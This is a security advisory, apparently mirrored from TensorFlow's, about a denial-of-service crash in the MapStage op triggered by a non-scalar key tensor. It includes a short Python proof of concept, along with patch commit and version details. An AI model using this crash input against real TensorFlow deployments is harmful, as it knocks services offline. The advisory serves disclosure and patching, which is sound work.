PT-2026-59804
Publicado
2026-07-09
·
Atualizado
2026-07-09
Descrição por
CVSS 3.1
6.5
MédiaMétricasAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Impact
The [implementation of
MapStage](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/map stage op.cc#L519-L550) is vulnerable a CHECK-fail if the key tensor is not a scalar:python
import tensorflow as tf
import numpy as np
tf.raw ops.MapStage(
key = tf.constant(value=[4], shape= (1,2), dtype=tf.int64),
indices = np.array([[6]]),
values = np.array([-60]),
dtypes = [tf.int64], capacity=0, memory limit=0,
container='', shared name='', name=None
) Patches
We have patched the issue in GitHub commit f57315566d7094f322b784947093406c2aea0d7d.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.
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